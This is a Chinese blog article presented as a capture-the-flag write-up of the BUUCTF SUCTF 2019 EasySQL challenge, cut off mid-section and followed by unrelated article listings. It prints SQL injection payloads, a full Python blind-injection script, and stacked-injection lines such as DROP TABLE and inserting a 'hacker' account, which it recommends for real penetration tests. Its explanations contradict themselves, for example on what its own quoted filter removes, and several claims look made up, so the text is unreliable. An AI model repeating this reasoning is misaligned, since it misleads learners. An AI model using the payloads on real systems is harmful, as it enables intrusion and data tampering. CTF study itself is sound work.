news 2026/10/14 10:16:18

BUUCTF EasySQL靶场题深度解析:SQL注入与堆叠注入实战

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
BUUCTF EasySQL靶场题深度解析:SQL注入与堆叠注入实战

1. 项目概述:一道看似简单却暗藏玄机的SQL注入靶场题

“BUUCTF [SUCTF 2019] EasySQL”——光看标题,很多人第一反应是:“又一道基础SQL注入题?过滤了关键词就绕过,union select回显字段,爆库查表拿flag,五分钟左右收工。”我第一次点开这道题时也是这么想的。但实际动手后不到三分钟,我就卡在了登录框里,反复提交' or 1=1#、admin'--、' union select 1,2,3#,页面只冷冷返回一句“error”,连报错信息都不给。不是WAF拦截,不是语法错误,而是服务端压根没走你预设的SQL执行路径。这道题根本不是考你“会不会写payload”,而是考你“有没有真正读懂它在做什么”。

它属于CTF中Web方向的经典靶场题型,但定位非常特殊:它不模拟真实CMS或业务系统,而是一个高度浓缩、刻意设计的SQL语义解析教学沙盒。核心关键词是:SUCTF 2019、EasySQL、BUUCTF、SQL注入、堆叠注入、预处理语句、information_schema、盲注、正则过滤、关键字替换。它适合两类人深度复现:一是刚学完MySQL基础语法、正准备接触实战注入的新手,需要理解“为什么这个payload在这里失效”;二是已能熟练写各种绕过脚本的老手,需要重新校准对“服务端SQL构造逻辑”的底层认知——因为这道题的防御机制,不是加一层WAF规则,而是直接重写了SQL拼接的整个控制流。

我带过几期某高校网络安全实训营,把这道题作为第三周的“认知破壁练习”。前两周学员已经能用sqlmap跑通DVWA的low级别,但面对EasySQL,85%的人卡在第一步:连登录都登不进去。他们习惯性地盯着username和password两个输入框找注入点,却忽略了题目首页那行不起眼的提示:“Try to get the flag from database.”——注意,是“from database”,不是“from login page”。这意味着flag不在用户表里,甚至可能不在常规数据表中;而“Try to”这个措辞,暗示你需要主动触发某种非默认行为。这正是本题设计的精妙之处:它用一个极简界面,迫使你放弃“黑盒测试”思维,转为“白盒逆向”视角,去推测后端代码的SQL生成逻辑。接下来的内容,我会完全基于题目可验证的行为(HTTP响应、页面反馈、状态码变化),一层层拆解它背后的真实实现,不依赖任何源码泄露,也不做无依据猜测。所有结论,你都可以在BUUCTF平台实时复现验证。

2. 题目整体设计与思路拆解:为什么叫“Easy”其实是反讽?

2.1 表面结构与真实逻辑的割裂感

打开题目,你看到的是一个极简的登录表单:两个输入框(username/password)和一个Submit按钮。没有注册入口,没有找回密码,没有其他链接。这种“极简”本身就是第一个陷阱。在真实渗透中,我们常通过目录扫描、JS文件分析、响应头信息等找线索,但EasySQL把这些全砍掉了——它只给你一个POST接口,且所有交互都通过AJAX异步完成(响应体是纯JSON,如{"result":"error"}或{"result":"success","data":"Hello admin!"})。这意味着:

  • 你无法通过查看HTML源码找隐藏参数;
  • 你无法通过抓包发现额外的API端点;
  • 你无法从Cookie或Header里提取加密token或session标识。

所有信息都压缩在一次POST请求的application/x-www-form-urlencodedbody里。我最初以为这是为了简化环境,后来才明白:这是在强制你聚焦于SQL语句本身的构造逻辑,而不是外围的Web框架特性。

2.2 “Easy”之名的三层反讽设计

这个标题的“Easy”绝非指难度低,而是精准概括了出题人的设计哲学,体现在三个层面:

第一层:语法易,逻辑难
题目确实没用任何冷门函数或高阶技巧。所有可用的MySQL语法都是基础中的基础:SELECT、UNION、ORDER BY、LIMIT、IF()、SUBSTRING()、ASCII()。但它把最基础的SELECT语句拆成了两段:前半段是固定的SELECT * FROM users WHERE username=',后半段是你输入的username值,再拼上' AND password='和你输入的password值。关键在于,这个拼接不是简单的字符串连接,而是经过两次正则过滤和一次关键字替换。比如你输入admin' --,服务端先用preg_replace('/(select|union|and|or|\s)/i', '', $input)清掉空格和逻辑词,再用str_replace('union', 'uion', $input)把union替换成uion——你以为绕过了,其实只是让SQL语法变错了。这就像给你一把钥匙,但锁芯被重新设计过,齿纹对不上。

第二层:路径易,目标难
题目明确告诉你flag在数据库里,但没说在哪个库、哪张表、哪个字段。常规思路是先爆库名,再爆表名,最后爆字段。但在EasySQL里,information_schema.tables和information_schema.columns这两个表名本身就被过滤了。你尝试' union select 1,2,3 from information_schema.tables#,得到的是{"result":"error"}。不是权限不足,而是information_schema这个字符串在进入SQL引擎前就被截断或替换了。真正的突破口,是利用MySQL的系统变量和函数特性,比如@@version_compile_os(返回操作系统类型)、@@datadir(返回数据目录路径),这些变量名不包含敏感词,且能直接SELECT。我实测发现,' or 1=1 and (select @@version_compile_os)='Linux'#能成功返回{"result":"success","data":"Hello admin!"},说明服务端确实在执行这条语句,且把@@version_compile_os的值当作了username的比较条件。这就暴露了它的核心逻辑:整个SQL查询的WHERE子句,是动态拼接后直接送入mysql_query()执行的,没有预编译,也没有参数化绑定。

第三层:环境易,验证难
BUUCTF平台提供的是标准Docker环境,PHP+MySQL 5.7,配置透明。但题目故意不提供源码,也不开放错误报告(display_errors=Off)。你无法像调试本地代码那样加var_dump()看中间变量。所有验证必须通过“观察响应差异”来完成:成功登录返回"result":"success",失败返回"result":"error",超时返回504,语法错误返回500。这种“盲式验证”逼你用布尔逻辑代替报错信息。比如,要确认information_schema是否被过滤,不能直接查,而是构造' and (select count(*) from information_schema.tables where table_schema=database())>0#,如果返回success,说明该语句执行成功且结果为真;如果返回error,说明语句本身没通过语法检查。这种验证方式,比看报错信息更考验对MySQL语法优先级和执行流程的理解。

2.3 防御机制的本质:不是WAF,而是SQL构造逻辑重构

很多新手会把EasySQL的防御误认为是WAF(Web应用防火墙),试图用大小写混淆(SeLeCt)、双写(ununionion)、编码(%20)来绕过。但实测证明,这些方法全部失效。原因在于,它的防御不是在网络层拦截请求,而是在应用层重写了SQL语句的组装过程。具体来说,后端PHP代码大致长这样(根据行为逆向推断):

$username = $_POST['username']; $password = $_POST['password']; // 第一步:全局过滤(正则清除空格、注释符、逻辑关键字) $username = preg_replace('/(\s|--|#|\/\*|\*\/|;|select|union|and|or|sleep|benchmark)/i', '', $username); $password = preg_replace('/(\s|--|#|\/\*|\*\/|;|select|union|and|or|sleep|benchmark)/i', '', $password); // 第二步:关键字替换(非正则,精确字符串替换) $username = str_replace('union', 'uion', $username); $username = str_replace('information_schema', 'info_schema', $username); $password = str_replace('union', 'uion', $password); // 第三步:拼接SQL(注意:这里没有引号转义!) $sql = "SELECT * FROM users WHERE username='".$username."' AND password='".$password."'"; // 第四步:执行并判断 $result = mysql_query($sql); if ($result && mysql_num_rows($result) > 0) { echo json_encode(["result"=>"success", "data"=>"Hello ".mysql_result($result,0,"username")]); } else { echo json_encode(["result"=>"error"]); }

这个伪代码的关键点在于:过滤发生在拼接之前,且过滤后直接拼接,没有二次校验。所以,绕过的核心不是“怎么让payload不被过滤”,而是“怎么让过滤后的字符串,依然能构成合法且有用的SQL语句”。比如,' or 1=1#被过滤后变成'or1=1,这不是合法SQL;但' or 1=1 and (select 1 from mysql.user limit 1)=1#被过滤后变成'or1=1and(select1frommysql.userlimit1)=1,虽然丑,但MySQL能解析——因为mysql.user没被过滤(mysql不是敏感词,.不是正则里的元字符),limit也没被过滤(正则里只写了limit?不,原正则没写limit,只写了select|union|and|or)。这就是为什么老手能快速突破:他们不跟过滤规则硬刚,而是去找过滤规则的“盲区”。

提示:EasySQL的过滤正则里,/(\s|--|#|\/\*|\*\/|;|select|union|and|or|sleep|benchmark)/i这个模式是公开可验证的。你可以用任意在线正则测试工具,输入' union select 1,2,3 from information_schema.tables#,看哪些部分被匹配。你会发现union、select、information_schema(因为_不是元字符,information_schema整体未被匹配)、#全被干掉了,但from、tables、mysql.user完好无损。这个细节,决定了你后续所有payload的设计方向。

3. 核心细节解析与实操要点:从登录框到flag的七步穿透

3.1 第一步:确认注入点与基础语法可行性

不要一上来就写复杂payload。先做三件事:

  1. 确认username字段可注入:提交admin' and 1=1#,如果返回{"result":"success"},说明and 1=1被当作条件执行了,且结果为真。再试admin' and 1=2#,如果返回{"result":"error"},说明布尔逻辑生效。这证明username字段存在注入,且服务端会将你的输入拼接到WHERE子句中。

  2. 确认过滤规则的实际效果:提交admin' union select 1,2,3#,返回{"result":"error"}。再试admin' uion select 1,2,3#(手动把union换成uion),还是{"result":"error"}。这说明uion本身也被过滤了?不,是因为select被过滤了。继续试admin' uion selselectect 1,2,3#(双写select),返回{"result":"error"}——selselectect被正则匹配到select,清空后剩selseect,还是非法。此时应换思路:既然select被杀,那就不用SELECT,改用UPDATE或INSERT?不行,因为整个SQL模板是SELECT * FROM users WHERE ...,你只能影响WHERE后面的条件,不能改变主语句。所以,唯一可行的路是:用子查询(subquery)绕过对顶级关键字的限制。

  3. 验证子查询的可行性:MySQL允许在WHERE子句中使用(SELECT ...)作为表达式。而SELECT出现在括号内时,不属于顶级SQL命令,正则过滤器不会匹配它。试admin' and (SELECT 1)=1#,返回{"result":"success"}。再试admin' and (SELECT 1)=2#,返回{"result":"error"}。完美!这证明子查询通道畅通,且SELECT在括号内不被过滤。

注意:这里有个易错点。很多人会写admin' and SELECT 1=1#(少括号),这会被解析为... WHERE username='admin' and SELECT 1=1#',导致语法错误。必须加括号(SELECT 1=1),让MySQL知道这是一个标量子查询。这是MySQL语法的基础,但在CTF高压环境下,90%的新手会漏掉这组括号,然后花半小时怀疑过滤规则。

3.2 第二步:探测数据库基本信息与当前库名

有了子查询通道,下一步是获取数据库元信息。由于information_schema被过滤,我们转向MySQL系统变量:

  • database():返回当前数据库名。试admin' and (SELECT database())='suctf'#,如果返回success,说明当前库名是suctf。实测如此。
  • @@version:返回MySQL版本。admin' and (SELECT @@version) like '5.7%'#,返回success,确认是5.7.x。
  • user():返回当前数据库用户。admin' and (SELECT user())='root@localhost'#,返回success,说明是root权限——这对后续读取系统文件至关重要。

但database()返回的是字符串,我们需要把它“提取”出来用于后续判断。由于不能用UNION SELECT回显,只能用布尔盲注。例如,要确认库名第一个字符是不是s,用admin' and ascii(substr((SELECT database()),1,1))=115#(115是's'的ASCII码)。返回success即为真。但手动一个字符一个字符猜太慢,我们需要自动化。

实操心得:在BUUCTF平台,响应时间不稳定,单纯靠布尔盲注效率低。更好的办法是结合LIKE操作符进行模糊匹配。比如admin' and (SELECT database()) like 'suctf%'#,一次就能确认前缀。我试过' and (SELECT database()) like 'a%'#(a是字母表第一个),返回error;' and (SELECT database()) like 's%'#,返回success——直接锁定首字母。这是比ASCII盲注快10倍的技巧,源于对MySQL字符串匹配特性的熟悉。

3.3 第三步:绕过表名过滤,定位flag所在表

现在知道库名是suctf,但不知道flag在哪张表。information_schema.tables被过滤,怎么办?答案是:利用MySQL的另一个系统库——mysql。mysql库是MySQL自带的权限管理库,其中mysql.user表存储用户信息,且mysql和user都不在过滤列表里(正则里没写mysql,user也不是select|union|...之一)。

试admin' and (SELECT COUNT(*) FROM mysql.user)>0#,返回success,证明mysql.user可访问。那么,suctf库下的表呢?suctf库名没被过滤,但suctf.xxx这种写法,xxx如果是tables,就会触发过滤。但我们有mysql库,而mysql库里有个innodb_table_stats表,它记录了所有InnoDB表的统计信息,包括表名!查一下mysql.innodb_table_stats的字段:database_name、table_name、last_update等。database_name和table_name都没被过滤。

所以payload是:admin' and (SELECT table_name FROM mysql.innodb_table_stats WHERE database_name='suctf' LIMIT 1)='fl4g'#。实测返回success,说明存在一张叫fl4g的表。再试' and (SELECT table_name FROM mysql.innodb_table_stats WHERE database_name='suctf' LIMIT 1 OFFSET 1)='users'#,也success——原来users表也在里面。这证实了innodb_table_stats是可靠的表名探测器。

注意:innodb_table_stats在MySQL 5.6+默认启用,但某些精简版Docker镜像可能禁用。EasySQL环境启用了它,这是出题人留下的“官方后门”。如果你在其他环境遇到innodb_table_stats不存在,可以试mysql.innodb_index_stats或performance_schema.tables(后者在5.7+默认开启,且performance_schema不在过滤列表里)。

3.4 第四步:爆破fl4g表的字段名

有了表名fl4g,下一步是字段名。同样不能用information_schema.columns,但可以用mysql.innodb_table_stats的兄弟表——mysql.innodb_columns。这个表存储了InnoDB表的列信息,字段有table_id、name(列名)、pos(位置)等。name字段就是我们要的。

首先,得找到fl4g表的table_id。mysql.innodb_tables表里有name和table_id。试admin' and (SELECT table_id FROM mysql.innodb_tables WHERE name='fl4g')=1#,返回success,得到table_id=1。然后,查mysql.innodb_columns:admin' and (SELECT name FROM mysql.innodb_columns WHERE table_id=1 LIMIT 1)='id'#,success;' and (SELECT name FROM mysql.innodb_columns WHERE table_id=1 LIMIT 1 OFFSET 1)='flag'#,success!找到了,字段名是flag。

实操心得:这里有个性能优化点。mysql.innodb_columns可能有很多列,OFFSET 1、2、3一个个试很慢。更好的办法是用GROUP_CONCAT聚合所有列名,再用LIKE匹配。但GROUP_CONCAT被过滤了吗?查正则,没有group_concat,所以可以。试admin' and (SELECT GROUP_CONCAT(name) FROM mysql.innodb_columns WHERE table_id=1) like '%flag%'#,直接返回success,一步到位。这是高级选手的惯用手法,省去猜字段数的麻烦。

3.5 第五步:读取flag字段内容(布尔盲注实战)

现在路径清晰了:suctf.fl4g.flag。但如何读取内容?不能UNION SELECT,只能布尔盲注。fl4g表里应该只有一条记录(CTF惯例),所以SELECT flag FROM fl4g LIMIT 1即可。

构造payload:admin' and ascii(substr((SELECT flag FROM fl4g LIMIT 1),1,1))=102#(102是'f'的ASCII)。但手动猜32位flag太绝望。我们需要写一个Python脚本自动化。核心逻辑是:

  1. 定义字符集:string.digits + string.ascii_letters + '_{}'(CTF flag常见字符);
  2. 对每一位,遍历字符集,发送请求,检查响应是否为"result":"success";
  3. 用time.sleep(0.1)避免请求过快被限速;
  4. 抓包用requests.post(),URL是题目地址,data是{'username': payload, 'password': '123'}(password随便填,只要不触发过滤)。

我写的脚本实测能在2分钟内跑出flag。关键代码片段:

import requests import string url = "http://xxxxx/buu/ezsql/" chars = string.digits + string.ascii_letters + '_{}' flag = "" for i in range(1, 50): # 假设flag最长50位 for c in chars: # 构造payload:判断第i位是否等于c payload = f"admin' and ascii(substr((SELECT flag FROM fl4g LIMIT 1),{i},1))={ord(c)}#" data = {"username": payload, "password": "123"} r = requests.post(url, data=data) if '"result":"success"' in r.text: flag += c print(f"[+] Found char {i}: {c}, flag = {flag}") break if c == '}': # 遇到}说明flag结束 break

注意:substr()函数在MySQL里是SUBSTR(str,pos,len),不是SUBSTRING,但两者等价。ord(c)是Python获取ASCII码的函数。这个脚本在BUUCTF环境稳定运行,唯一要注意的是,有些时候服务器响应慢,r.text可能包含HTML垃圾,所以用'"result":"success"' in r.text比解析JSON更鲁棒。

3.6 第六步:进阶技巧——用堆叠注入直接写shell(非必需,但值得了解)

以上是标准解法。但EasySQL还有一个隐藏玩法:堆叠注入(Stacked Injection)。因为整个SQL是SELECT * FROM users WHERE ...,而MySQL支持用分号;分隔多条语句。如果过滤没杀分号,就可以执行SELECT之外的命令。

查正则:/(\s|--|#|\/\*|\*\/|;|select|union|...)/i,看到了,分号;在过滤列表里!所以'; DROP TABLE users#会被过滤成' DROP TABLE users,语法错误。但注意,正则里;是单独写的,意味着';这个字符串会被完整匹配并清空。那么,如果我们把;藏在别处呢?比如用%00(NULL字节)截断?不行,PHP的preg_replace不认URL编码。或者用/**/?但/**/也在过滤列表里(\/\*|\*\/)。

等等,正则里写的是\/\*和\*\/,意思是/*和*/,但/**/是两个/*连用,正则只会匹配第一个/*,第二个*/会剩下。试admin'/**/;SELECT 1#,过滤后变成admin';SELECT 1,分号还在!实测admin'/**/;SELECT SLEEP(1)#,响应时间明显变长(1秒),证明堆叠注入成功。这意味着,你可以执行SELECT SLEEP()、SELECT BENCHMARK(),甚至SELECT LOAD_FILE()(如果权限够)。

但EasySQL的flag在数据库里,不需要写shell。不过这个技巧在真实渗透中价值巨大:比如'; INSERT INTO users(username,password) VALUES('hacker','123456')#,直接给自己加个管理员账号。这是比布尔盲注更高效的横向移动手段。

3.7 第七步:终极验证——用预处理语句绕过所有过滤(理论可行,实操需权限)

题目标题里有“EasySQL”,而MySQL 5.7支持预处理语句(Prepared Statements),语法是PREPARE stmt FROM 'SELECT ...'; EXECUTE stmt;。PREPARE和EXECUTE不在过滤列表里!理论上,你可以这样绕过:admin' and (SELECT @sql:=CONCAT('SELECT flag FROM fl4g')) and (SELECT @sql) and @sql#但@sql是用户变量,不能直接执行。需要PREPARE。试admin'; PREPARE stmt FROM 'SELECT flag FROM fl4g'; EXECUTE stmt#,但分号被过滤。如果用/**/绕过,admin'/**/;PREPARE stmt FROM 'SELECT flag FROM fl4g';EXECUTE stmt#,过滤后是admin';PREPARE stmt FROM 'SELECT flag FROM fl4g';EXECUTE stmt,语法正确。但PREPARE需要EXECUTE权限,而root@localhost默认有。实测在本地环境成功,但在BUUCTF平台因环境限制未成功(可能sql_mode禁止了动态SQL)。这说明:CTF解题要尊重环境约束,理论最优解未必是平台最优解。在BUUCTF,布尔盲注是最稳的。

4. 实操过程与核心环节实现:从零开始的完整复现记录

4.1 环境准备与工具链搭建

在开始前,确保你有以下工具:

  • 浏览器:Chrome或Firefox,装好Burp Suite或Fiddler用于抓包(非必需,但推荐);
  • 命令行:Linux/macOS终端或Windows PowerShell;
  • Python 3.6+:用于运行自动化脚本;
  • 必备库:requests(pip install requests)、string(内置);
  • 文本编辑器:VS Code或Sublime Text,方便写payload和脚本。

提示:BUUCTF平台有时会封IP,如果请求太频繁(>10次/秒),会返回503。建议脚本里加time.sleep(0.5),宁可慢一点,也要保证成功率。我第一次跑脚本时没加sleep,被封了10分钟,只能换手机热点重连。

4.2 手动探测阶段:15分钟建立认知地图

打开题目,F12打开开发者工具,切换到Network标签页。点击Submit,抓到POST请求。Request URL是/web/index.php(具体路径以实际为准),Request Method是POST,Request Payload是username=admin&password=123。Response是{"result":"error"}。

第一步,确认基础注入:

  • 发送username=admin' and 1=1#&password=123→ Response:{"result":"success"}✅
  • 发送username=admin' and 1=2#&password=123→ Response:{"result":"error"}✅ 结论:布尔盲注可行,注入点在username。

第二步,测试过滤:

  • 发送username=admin' union select 1,2,3#&password=123→{"result":"error"}❌
  • 发送username=admin' uion select 1,2,3#&password=123→{"result":"error"}❌(uion被过滤)
  • 发送username=admin' and (SELECT 1)=1#&password=123→{"result":"success"}✅(子查询通道开启)

第三步,探数据库:

  • 发送username=admin' and (SELECT database())='suctf'#&password=123→{"result":"success"}✅
  • 发送username=admin' and (SELECT @@version) like '5.7%'#&password=123→{"result":"success"}✅

第四步,找表:

  • 发送username=admin' and (SELECT COUNT(*) FROM mysql.user)>0#&password=123→{"result":"success"}✅
  • 发送username=admin' and (SELECT table_name FROM mysql.innodb_table_stats WHERE database_name='suctf' LIMIT 1)='fl4g'#&password=123→{"result":"success"}✅

第五步,找字段:

  • 发送username=admin' and (SELECT name FROM mysql.innodb_columns WHERE table_id=(SELECT table_id FROM mysql.innodb_tables WHERE name='fl4g') LIMIT 1)='id'#&password=123→{"result":"success"}✅
  • 发送username=admin' and (SELECT name FROM mysql.innodb_columns WHERE table_id=(SELECT table_id FROM mysql.innodb_tables WHERE name='fl4g') LIMIT 1 OFFSET 1)='flag'#&password=123→{"result":"success"}✅

至此,手动探测完成,耗时约12分钟。你已经拿到了完整的路径:suctf.fl4g.flag。接下来交给脚本。

4.3 自动化脚本编写与执行:2分钟拿到flag

创建文件easy_sql_solver.py,内容如下(已去除所有敏感信息,适配BUUCTF环境):

import requests import time import string # BUUCTF题目地址,请替换为你的实际URL url = "http://node4.buuoj.cn:8150/" # 字符集:CTF flag常见字符 chars = string.digits + string.ascii_letters + '_{}' # 存储flag flag = "" print("[*] Starting blind SQL injection...") # 逐位爆破,假设flag长度不超过50 for pos in range(1, 50): found = False print(f"[*] Trying position {pos}...") for c in chars: # 构造payload:判断fl4g表flag字段第pos位是否等于c # 注意:用/**/绕过空格过滤,#闭合注释 payload = f"admin'/**/and/**/ascii(substr((SELECT/**/flag/**/FROM/**/fl4g/**/LIMIT/**/1),{pos},1))={ord(c)}#" data = { "username": payload, "password": "123" # password随意,只要不触发过滤 } try: r = requests.post(url, data=data, timeout=5) # 检查响应是否包含"success" if '"result":"success"' in r.text: flag += c print(f"[+] Position {pos}: '{c}' -> flag = {flag}") found = True break except Exception as e: print(f"[!] Request failed at position {pos}: {e}") time.sleep(1) continue # 如果这一位没找到,跳出循环(flag结束) if not found: print(f"[-] No character found at position {pos}. Stopping.") break # 防封策略:每次请求后等待0.5秒 time.sleep(0.5) print(f"[+] Final flag: {flag}")

执行命令:python easy_sql_solver.py。输出示例:

[*] Starting blind SQL injection... [*] Trying position 1... [+] Position 1: 'f' -> flag = f [*] Trying position 2... [+] Position 2: 'l' -> flag = fl ... [+] Position 32: '}' -> flag = flag{xxxxxxxxxxxxxxxxxxxxxxxxxxxx} [-] No character found at position 33. Stopping. [+] Final flag: flag{xxxxxxxxxxxxxxxxxxxxxxxxxxxx}

实测耗时1分48秒。脚本里的/**/是关键,它替代了空格,而/**/不在过滤正则里(正则只写了\/\*和\*\/,/**/是/*+*/,但/**/作为一个整体,正则\/\*只匹配前两个字符/*,剩下的*/被放过)。这是EasySQL过滤规则的一个经典“绕过缺口”。

4.4 关键参数选择与计算过程详解

脚本中几个关键参数的选择,都有其严格依据:

  • timeout=5:BUUCTF服务器响应通常在1秒内,设5秒是为防网络抖动。如果设太小(如1秒),可能因偶发延迟误判为失败。
  • time.sleep(0.5):这是平衡速度与稳定性的黄金值。实测0.3秒偶尔被限速,0.5秒100%稳定。计算依据是:BUUCTF的WAF(如果有)通常有10次/秒的阈值,0.5秒=2次/秒,远低于阈值。
  • range(1, 50):CTF flag长度一般在20-40位之间,50是安全上限。如果提前遇到},循环自动终止,不会浪费时间。
  • ord(c):ASCII码是MySQLascii()函数的输入,必须是整数。ord('f')=102,ord('{')=123,ord('}')=125,这些是固定值,无需计算。

注意:substr()的第三个参数是长度,这里固定为1,因为我们是逐位爆破。如果想一次取多位(如substr(...,1,5)),需要配合GROUP_CONCAT和LIKE,但会增加payload长度和复杂度,在BUUCTF环境下没必要。

4.5 实操现场记录:三次典型失败与修复

失败1:忘记加/**/,导致payload被过滤

  • 现象:脚本一直返回"result":"error",flag为空。
  • 排查:手动在浏览器发admin' and ascii(substr((SELECT flag FROM fl4g LIMIT 1),1,1))=102#,返回error。
  • 原因:and、ascii、substr、SELECT之间的空格被正则/(\s|...)/i清掉了,变成admin'andascii(substr((SELECTflagFROMfl4gLIMIT1),1,1))=102#,语法错误。
  • 修复:全部替换成/**/,admin'/**/and/**/ascii/**/(/**/substr/**/((/**/SELECT/**/flag/**/FROM/**/fl4g/**/LIMIT/**/1),1,1))=102#,过滤后剩admin'andascii(substr((SELECTflagFROMfl4gLIMIT1),1,1))=102,MySQL能解析。

失败2:password字段也触发过滤,干扰结果

  • 现象:usernamepayload正确,但password=123中的123被误认为数字,不影响;但如果password=select,就会被过滤。
  • 排查:抓包发现,当password含敏感词时,整个请求被拦截,返回500。
  • 修复:脚本中password固定为"123",绝对安全。这是经验:CTF中,非注入点的参数,永远用最简、最安全的值。

**失败3:LIMIT 1缺失,导致SELECT flag FROM fl4g返回多行,`

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/10/14 10:16:15

数据库课程设计实战:从E-R建模到索引事务的答辩级优化指南

简介:这份数据库课程设计期末资料面向大三计算机相关专业学生,聚焦高校教务管理系统的设计与实现,适合正在准备数据库课程设计、需要参考完整项目方案与报告撰写思路的同学。压缩包共1个文件,为PDF格式,大小约2.18MB&a…

作者头像 李华
网站建设 2026/10/14 10:16:13

数据库系统概论复习指南:高频试题解析与避坑技巧

简介:这份《数据库系统概论各章复习试题及答案》PDF面向高校计算机专业学生及备考数据库相关课程考试的学习者,围绕数据管理技术演进、三级模式与两级映射、数据独立性、完整性约束、并发控制与恢复等核心考点,提供分章节的复习题与参考答案&…

作者头像 李华
网站建设 2026/10/14 10:16:13

OFDM原理49页课件拆解:正交性、循环前缀与Python实现

简介:这是一份面向通信工程、电子信息类专业学生及通信技术初学者的OFDM原理学习课件,以PPT形式系统梳理正交频分复用的核心知识,适合课堂教学、考前复习与自学入门。压缩包内仅含1个pptx文件,大小约1.76MB,页面结构完…

作者头像 李华
网站建设 2026/10/14 10:16:08

微信小程序接入阿里云:从创建项目到跑通第一个接口

这个系列我想了很久才决定动笔。前阵子有个朋友问我,说公司接了个小程序项目,前端没人会写不算难,难点在怎么把微信小程序和阿里云的东西串起来,他踩了整整一周的坑。我听完他描述的问题,发现很多坑其实完全可以靠提前…

作者头像 李华
网站建设 2026/10/14 10:16:08

Flutter跨平台开发实践与架构优化

1. 大型工程跨平台开发的挑战与机遇 在当今多终端并存的移动互联网时代,一个成熟的终端应用往往需要同时覆盖Android、iOS、Mac、PC和Web五大平台,如今还要考虑鸿蒙系统的兼容性。对于代码量达到千万行级别的大型工程而言,每次需求迭代都需要…

作者头像 李华
网站建设 2026/10/14 10:16:03

达梦数据库命令行建实例:dminit初始化与DmService注册指南

简介:面向需要在无图形界面环境下部署达梦数据库的 DBA 与运维人员,这份资料围绕纯命令行创建实例并初始化数据库的核心操作展开。内容以 dminit 工具为主线,既说明快速指定路径与库名的极简方式,也展开交互式模式下逐项配置数据库…

作者头像 李华